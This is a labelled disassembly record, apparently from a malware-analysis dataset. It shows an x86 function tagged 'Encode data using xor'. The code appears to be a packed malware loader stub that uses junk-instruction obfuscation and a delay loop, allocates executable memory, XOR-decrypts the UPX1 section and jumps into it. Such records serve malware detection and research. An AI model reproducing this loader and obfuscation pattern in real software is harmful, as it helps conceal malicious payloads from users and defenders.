Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0x320dc880
or edi, edi
mov edi, edx
dec edi
popal
or edi, edx
mov edi, edx
mov eax, 0
mov edi, ebx
dec esi
and edx, esi
mov esi, 0x78879d77
mov ecx, edi
mov esi, 0x4fd6ce5a
mov edx, 0xabad43ff
sub esi, 0x1582e200
mov ebx, ecx
not esi
add esi, 1
inc eax
sub edx, 0x55d9d61e
not edx
not esi
cmp eax, 0x1008a2c
jne 0xa789c1
add edx, esi
inc edx
and esi, esi
sub edx, edi
sub edi, edx
mov edx, 0xa78796
add edi, 1
add edi, eax
mov ebx, 0xa7898a
and eax, ecx
sub edi, 1
add ecx, 1
mov esi, dword [edx]
not eax
not ecx
and esi, 0xff
mov ecx, edi
sub ecx, 0xa9db345d
dec edi
xor dword [ebx], esi
add edi, 0x94d011c5
add edi, 1
inc ebx
or eax, ecx
or edi, eax
not ecx
inc edx
inc eax
inc ecx
or edi, eax
cmp ebx, entry0
jl 0xa78a27
sub eax, edi
or eax, ecx
mov eax, 0xbcbe82f9
and ecx, ecx
add eax, edi
and edi, edi
add ecx, edi
sub edi, ebx
mov esi, 0xa7898e
inc edx
add edx, 0x4687a6a9
mov esi, dword [esi]
dec edi
sub ecx, 0xc3d019b2
mov esi, dword [esi]
and ebx, ebx
not ebx
sub esp, 4
mov dword [esp], esi
or ebx, ecx
sub edx, ebx
mov esi, 0xa7898a
mov ebx, ecx
not edx
mov esi, dword [esi]
and edi, edi
add edi, edi
sub ecx, 0xea4fd6de
mov esi, dword [esi]
dec edi
and ebx, edi
sub esp, 4
mov dword [esp], 0xa78992
sub edi, edx
sub edx, ebx
add edi, 0x50c90a97
call esi
sub ebx, edi
sub ebx, edx
pop esi
sub edx, ebx
mov edx, ebx
push 0xa7899f
sub edx, 0x165dce87
not ecx
not ecx
push eax
and edx, edx
add edi, 0x9d36700a
not ebx
call esi
inc edi
add edi, 0x7b32619
mov edx, 0x9ffcd9b3
sub esp, 4
mov dword [esp], 0x40
sub edi, 0x2f67af58
or edi, edi
sub esp, 4
mov dword [esp], 0x3000
add ebx, edi
inc ebx
or edx, ecx
push 0x20000532
add ebx, 0xb7e913c6
sub ebx, edi
or ebx, ecx
push 0
inc edi
and edi, ebx
or edi, edi
call eax
mov edx, 0xbef77641
dec ebx
mov ebx, 0xe3f63a5
add eax, 0x200004a6
add edi, ebx
add edx, 1
mov esi, 0xdda515ee
and edx, ebx
sub ebx, 0xcacf79b4
not edx
mov dword [eax], esi
not edi
sub ecx, 0x16150d3e
mov esi, dword [eax]
and edx, ebx
dec ebx
sub edx, 0xf634b816
cmp esi, 0xdda515ee
je 0xa78b83
mov eax, 0
mov dword [eax], edx
add ebx, ecx
dec edi
and edx, ebx
dec ebx
and edi, edx
mov edi, edx
mov esi, section.UPX1
add edi, 0x55965572
add edx, 0x89c82eb3
mov eax, 0xa78795
sub edi, 0x19ccc186
not edx
mov ebx, 0
add edi, 0x5a2ffba8
or edi, edx
mov edx, 0xb67158dd
mov ecx, 0xa78796
mov edx, edi
inc edi
sub edx, 0x84fe512a
lea ecx, [ecx + ebx]
mov edx, edi
sub edx, edi
and edx, edx
mov ecx, dword [ecx]
not edi
add edx, 1
and ecx, 0xff
add edx, 0x7e95d62f
and edx, edx
or edi, edx
inc ebx
sub edx, 1
add edx, 0xb0cfb44f
sub edx, edi
cmp ebx, 0x1f4
jne 0xa78c0a
mov ebx, 0
inc edi
or edx, edi
dec edx
not edx
add edx, 0xe6e62ad2
xor dword [esi], ecx
inc edx
sub edx, edi
add esi, 2
dec edi
not edx
add edx, 0x9e3ab72
cmp esi, eax
jl 0xa78bbd
dec edx
and edx, edx
or edx, edx
add edx, 0x2a59da8d
sub edx, 0x7c89536e
sub edx, 1
mov eax, section.UPX1
mov edi, edx
or edx, edx
not edx
mov ebx, section.UPX1
add edx, 0x529ed90f
and edi, edx
mov edx, 0xe8676d7f
mov esi, 0xa78795
sub edx, 0x905cae6f
not edx
add edx, 0x83fc9193
mov ecx, 0
or edi, edx
and edi, edi
mov cl, byte [ebx]
add edx, edi
dec edx
mov byte [eax], cl
add edx, edi
and edx, edx
or edx, edi
inc eax
inc edi
sub edi, 1
mov edx, edi
add ebx, 2
add edx, edx
dec edx
sub edi, 0xc26370b1
cmp ebx, esi
jle 0xa78c82
sub edx, edi
sub edx, 0x18a22881
not edi
mov edi, edx
inc edx
dec edi
push 0x8dc6a0
add edx, 0xa3331cc9
not edx
sub edi, 0xc39f85f6
ret